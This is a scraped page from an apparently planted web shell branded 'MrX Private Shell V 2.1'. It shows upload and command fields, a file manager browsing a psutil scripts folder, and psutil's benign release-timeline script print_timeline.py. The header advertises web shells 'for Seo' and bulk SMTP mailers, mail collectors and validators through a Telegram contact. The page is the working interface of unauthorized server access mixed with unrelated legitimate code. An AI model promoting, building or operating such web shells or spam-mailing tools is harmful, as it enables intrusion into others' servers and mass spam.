__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/usr/bin/env python3

# Copyright (c) 2009 Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.

"""Prints releases' timeline in RST format."""

import shlex
import subprocess


entry = """\
- {date}:
  `{ver} <https://pypi.org/project/psutil/{ver}/#files>`__ -
  `what's new <https://github.com/giampaolo/psutil/blob/master/HISTORY.rst#{nodotver}>`__ -
  `diff <https://github.com/giampaolo/psutil/compare/{prevtag}...{tag}#files_bucket>`__"""  # NOQA


def sh(cmd):
    return subprocess.check_output(
        shlex.split(cmd), universal_newlines=True
    ).strip()


def get_tag_date(tag):
    out = sh(r"git log -1 --format=%ai {}".format(tag))
    return out.split(' ')[0]


def main():
    releases = []
    out = sh("git tag")
    for line in out.split('\n'):
        tag = line.split(' ')[0]
        ver = tag.replace('release-', '')
        nodotver = ver.replace('.', '')
        date = get_tag_date(tag)
        releases.append((tag, ver, nodotver, date))
    releases.sort(reverse=True)

    for i, rel in enumerate(releases):
        tag, ver, nodotver, date = rel
        try:
            prevtag = releases[i + 1][0]
        except IndexError:
            # get first commit
            prevtag = sh("git rev-list --max-parents=0 HEAD")
        print(entry.format(**locals()))


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
README File 105 B 0644
appveyor_run_with_compiler.cmd File 3.29 KB 0644
bench_oneshot.py File 3.26 KB 0755
bench_oneshot_2.py File 1.06 KB 0755
check_broken_links.py File 7.85 KB 0755
clinter.py File 2.26 KB 0755
convert_readme.py File 1.46 KB 0755
download_wheels_appveyor.py File 3.49 KB 0755
download_wheels_github.py File 2.95 KB 0755
generate_manifest.py File 884 B 0755
git_pre_commit.py File 4.54 KB 0755
print_access_denied.py File 3.21 KB 0755
print_announce.py File 3.22 KB 0755
print_api_speed.py File 6.56 KB 0755
print_dist.py File 3.58 KB 0755
print_downloads.py File 3.98 KB 0755
print_hashes.py File 1.1 KB 0755
print_timeline.py File 1.39 KB 0755
purge_installation.py File 1 KB 0755
winmake.py File 17.05 KB 0755
Filemanager